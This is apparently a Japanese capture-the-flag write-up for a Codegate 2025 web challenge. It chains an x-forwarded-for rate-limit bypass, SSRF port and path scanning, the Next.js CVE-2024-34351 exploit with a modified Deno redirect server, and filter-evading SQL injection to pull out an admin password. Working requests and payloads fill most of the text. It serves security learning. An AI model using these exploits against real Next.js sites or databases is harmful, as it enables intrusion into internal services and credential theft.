体調不良で出遅れて開いたらguess判定で放置されていたので、やっつけた。
Hide and Seek (web: 250 pt / 31 solves)
Play Hide-and-Seek with pretty button! ( + I don't know the internal web server's port exactly, but I heard it's "well-known". )
アクセスすると「Play」ボタンだけある。とりあえずPlay。

ボタンとかくれんぼするらしい。

開発者ツールを開いてもよかったが、面倒だったのでTabキーを押して見たら何かある。

Enterを押してみるとクリックできた。
URLを入力するとアクセスしてくれるらしい。SSRFかな。

とりあえず http://example.com を入力してみた。
POST /api/reset-game HTTP/1.1
Host: 43.203.168.235:3000
Content-Length: 29
{ "url":"http://example.com"}
HTTP/1.1 200 OK
vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url
content-type: application/json
Date: Sat, 29 Mar 2025 17:56:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 21
{"message":"Sended!"}
レスポンスは見れないタイプのSSRFらしい。
ここからが本番ということで、他のサービスがどんなものか確認しに行く。
docker-compose.yml
external: build: context: ./external restart: always ports: - "3000:3000" networks: prob_network: ipv4_address: 192.168.200.100 internal-server: build: context: ./internal/server restart: always depends_on: - internal-db networks: prob_network: ipv4_address: 192.168.200.120 internal-db: build: context: ./internal/db restart: always networks: prob_network: ipv4_address: 192.168.200.130
サービスが3つあるらしい。
externalがさっきまで触っていたサービスで、internal-xxは直接アクセスできない。さっきのエンドポイントでSSRFしようという話だろう。
さて、ではinternal-serviceにどんなエンドポイントが待っているんだろうか。
internalフォルダの中身を確認してみよう。
$ ls internal
$
【ゾロ「......なにも!!! な゛かった...!!!!」の画像がここに入る】
internalに関しては完全ノーヒントでやらなければならないらしい。つらい。
試しに http://internal-server を入力してみると、エラーになった。
HTTP/1.1 403 Forbidden
vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url
content-type: application/json
Date: Sat, 29 Mar 2025 18:03:08 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 63
{"error":"This IP cannot be used yet. Please Try again later."}
/api/reset-game のエンドポイントはレートリミットがあるらしい。
(内部アプリguessなのにそんなことする・・・?)という気持ちで reset-game のソースを見に行く。
const body = await req.json(); const ip = req.headers.get("x-forwarded-for")?.split(",")[0]?.trim() || "unknown"; if (ip === "unknown") { return NextResponse.json({ error: "Unable to get client IP." }, { status: 400 }); } if (blockedIPs.has(ip)) { return NextResponse.json({ error: "This IP cannot be used yet. Please Try again later." }, { status: 403 }); } try { const response = await fetch(`${body.url}?date=${Date()}&message=Congratulation! you found button!`, { method: "GET", redirect: "manual", }); if (!response.ok) { console.log(response); return NextResponse.json({ error: `Failed to fetch the URL. Status: ${response.status}` }, { status: 500 }); } blockedIPs.add(ip); setTimeout(() => blockedIPs.delete(ip), 10 * 60 * 1000); console.log(`IP ${ip} Blocked`); return NextResponse.json({ message: "Sended!" }, { status: 200 });
どうやら x-forwarded-for ヘッダでレートリミットを制御しているらしい。
これならバイパスできそうだ。
POST /api/reset-game HTTP/1.1
Host: 43.203.168.235:3000
x-forwarded-for: yoden{{counter}}
Content-Length: 29
{ "url":"http://internal-server"}
適当な値を x-forwarded-for ヘッダに指定すると再度実行できた。
都度書き換えるのは面倒なので、yoden{{counter}} のようにして counter 部分を自動でインクリメントすることで回避できるようにしている。
HTTP/1.1 500 Internal Server Error
vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url
content-type: application/json
Date: Sat, 29 Mar 2025 18:17:10 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 73
{"error":"An error occurred while fetching. Error message: fetch failed"}
fetch に失敗してエラーになっている。80番ポートでは何も動いてないみたいだ。
問題文曰く、「well-known」なポートで動いているらしい。自動化してポートスキャンを行う。
CLもよしなに書き変わるので、適当な値になっているがスルーして欲しい。
(正直well-knownというのも信用しきれず、見逃したら嫌なので1-65535でぶん回した。*1)
POST /api/reset-game HTTP/1.1
Host: 43.203.168.235:3000
x-forwarded-for: yoden{{counter}}
Content-Length: 29
{ "url":"http://internal-server:{{conter}}"}
結果、http://internal-server:808 で成功レスポンスが帰ってきた。
とはいえアクセス結果は見れないので、「どうしようか」となる。
とりあえず、パスを探索してみる。
下記をセットして、SecLists/Discovery/Web-Content/common.txt で回す。
POST /api/reset-game HTTP/1.1
Host: 43.203.168.235:3000
x-forwarded-for: yoden{{counter}}
Content-Length: 29
{ "url":"http://internal-server:{{path}}"}
結果、/archive と /login を発見。とはいえ現状では何もできない。
response.ok が false であればステータスコートがレスポンスに出てくるので /c/o/d/e/g/a/t/e みたいな感じでパスがflagになっているようなパターンも考えたが、ある程度 fuzzing してみても変化がない。
と、ここでチームメンバーが Next.js のバージョンが古いことに言及していたのを思い出した。
"next": "14.1.0",
確かに古い。雑に「nextjs ssrf」とかでググると、CVE-2024-34351 が見つかった。
とのこと。14.1.0 以下で / から始まる redirect を利用していると刺さるらしい。
ソースを見にいくと、ちゃんと使っていた。
export async function redirectGame() { return redirect("/hide-and-seek"); }
改めて最初の「Play」ボタンを押した際の通信を見てみると、PoCで見れるような通信が飛んでいる。
POST / HTTP/1.1 Host: 15.165.37.31:3000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: text/x-component Accept-Language: ja,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: http://15.165.37.31:3000/ Next-Action: 6e6feac6ad1fb92892925b4e3766928a754aec71 Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D Content-Type: text/plain;charset=UTF-8 Content-Length: 2 Origin: http://15.165.37.31:3000 DNT: 1 Connection: keep-alive Priority: u=0 []
先ほど貼ったGitHubの作者がPoC用のサーバを用意してくれているので、作者に感謝の念を送りながらexploit例に従って Host ヘッダと Origin ヘッダを書き換える。
POST / HTTP/1.1 Host: nextjs-cve-2024-34351.deno.dev User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: text/x-component Accept-Language: ja,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: http://15.165.37.31:3000/ Next-Action: 6e6feac6ad1fb92892925b4e3766928a754aec71 Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D Content-Type: text/plain;charset=UTF-8 Content-Length: 2 Origin: http://nextjs-cve-2024-34351.deno.dev DNT: 1 Connection: keep-alive Priority: u=0 []
HTTP/1.1 303 See Other
Vary: Accept-Encoding
Cache-Control: s-maxage=1, stale-while-revalidate
x-action-revalidated: [[],0,0]
x-action-redirect: /hide-and-seek
accept-ranges: bytes
alt-svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,quic=":443"; ma=93600; v="43"
content-type: text/html
date: Sat, 29 Mar 2025 18:39:39 GMT
etag: "84238dfc8092e5d9c0dac8ef93371a07:1736799080.121134"
last-modified: Mon, 13 Jan 2025 20:11:20 GMT
x-nextjs-cache: HIT
X-Powered-By: Next.js
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 1256
<!doctype html>
<html>
<head>
<title>Example Domain</title>
(snip)
ちゃんと刺さってる。
先ほどのGitHubを見にいくと、とてもありがたいことにexploit用のソースまで用意してくれていた。
再度作者に感謝の念を送りながら、今回の問題を快適に解くために少し改変する。
Deno.serve({ port: 80, hostname: "0.0.0.0" },(request: Request) => { console.log("Request received: " + JSON.stringify({ url: request.url, method: request.method, headers: Array.from(request.headers.entries()), })); // Head - 'Content-Type', 'text/x-component'); if (request.method === 'HEAD') { return new Response(null, { headers: { 'Content-Type': 'text/x-component', }, }); } // Get - redirect to example.com if (request.method === 'GET') { return new Response(null, { status: 302, headers: { Location: request.headers.get('ssrf'), }, }); } });
ssrf ヘッダでリダイレクト先を変えれる様にした。
これで任意のサーバにサクッとSSRFできる。
POST / HTTP/1.1
Host: {host}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/x-component
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://43.203.168.235:3000/
Next-Action: 6e6feac6ad1fb92892925b4e3766928a754aec71
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: text/plain;charset=UTF-8
Content-Length: 2
Origin: http://{host}
DNT: 1
Connection: keep-alive
Priority: u=0
ssrf: http://internal-server:808
[]
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Main Page</title> </head> <body> <h1>Welcome to Internal server!</h1> <a href="/login">Go to Login Page</a> <a href="/archive">Go to Archive</a> </body> </html>
さっき苦労して見つけた /login と /archive がある。それぞれ確認する。
POST / HTTP/1.1 (snip) ssrf: http://internal-server:808/login
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login Page</title> </head> <body> <h1>Login</h1> <!-- Just legacy code. But still work. --> <!-- Test Account: guest / guest --> <!-- <form action="/login" method="get"> <input name="key" type="hidden" value="392cc52f7a5418299a5eb22065bd1e5967c25341"> <label for="name">Username</label> <input name="username" type="text"><br> <label for="name">Password</label> <input name="password" type="text"><br> <button type="submit">Login</button> </form> --> <form action="/login" method="post"> <label for="name">Username</label> <input name="username" type="text"><br> <label for="name">Password</label> <input name="password" type="text"><br> <button type="submit">Login</button> </form> </body> </html>
POST / HTTP/1.1 (snip) ssrf: http://internal-server:808/archive
{"message":"Please Login."}
/login の方、GETでログインできそうなコメントアウトがあるので試してみる。
POST / HTTP/1.1 (snip) ssrf: http://internal-server:808/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=guest&password=guest
{"message":"Welcome! guest, You are not admin."}
ログインできた。adminじゃないといけないらしい。
ここでまたしばらく詰まる。
「先ほど 'Please Login' と言われた /archive でもログインできないかな」と /archive?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=guest&password=guest にアクセスしてみたり、
/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=guest&password[]=guest にリクエストしたらexpressのエラーが出るのを発見したりしていた。
<pre>TypeError: input.replace is not a function<br> at /app/index.js:18:23<br> at Array.forEach (<anonymous>)<br> at sanitizeString (/app/index.js:16:15)<br> at /app/index.js:45:35<br> at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> at next (/app/node_modules/express/lib/router/route.js:149:13)<br> at Route.dispatch (/app/node_modules/express/lib/router/route.js:119:3)<br> at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> at /app/node_modules/express/lib/router/index.js:284:15<br> at Function.process_params (/app/node_modules/express/lib/router/index.js:346:12)</pre>
何をreplaceしてるんだろうなぁ・・・と思いながら色々試したら、' でSQLのエラーが発生した。
ソースもなしに手探りでSQLiを見つける、完全に脆弱性診断の気分だった。業務はCTFの役に立つ。*2
POST / HTTP/1.1 (snip) ssrf: http://internal-server:808/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username='&password=guest
{"message":"Database query failed. Query: SELECT * FROM users WHERE username = ''' AND password = 'guest'"}
では admin でログインしてやればいいか、と思いきや・・・
ssrf: http://internal-server:808/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=admin';-- &password=guest
{"message":"Database query failed. Query: SELECT * FROM users WHERE username = '';--' AND password = 'guest'"}
-- の後にスペースがないのは単純にミスなのだが、そのおかげで先ほどの input.replace の謎が解けた。
admin が消えていることから、一部ワードを replace で消しているらしい。
*3
こういう時は adadminmin みたいにしてやれば大体うまくいく。
ssrf: http://internal-server:808/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=adadminmin';-- &password=guest
{"message":"Welcome! admin, Flag is your password."}
ログインできたが、まだゴールじゃないらしい。adminのパスワードがFlagとのこと。
admin 以外にも or や password などのワードが消されていたので、適宜回避しながらUNION SELECTしたらFlagが手に入った。
ssrf: http://internal-server:808/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username='union select (select passwoorrd from users limit 1,1),null;-- &password=guest
{"message":"Welcome! codegate2025{83ef613335c8534f61d83efcff6c2e18be19743069730d77bf8fb9b18f79bfb9}, You are not admin."}
Blind-SQLi を覚悟したが、ユーザ名を出力してくれていて助かった。Flagが長すぎる。
最後に推し「ハイドアンドシーク」を3つ紹介しておく。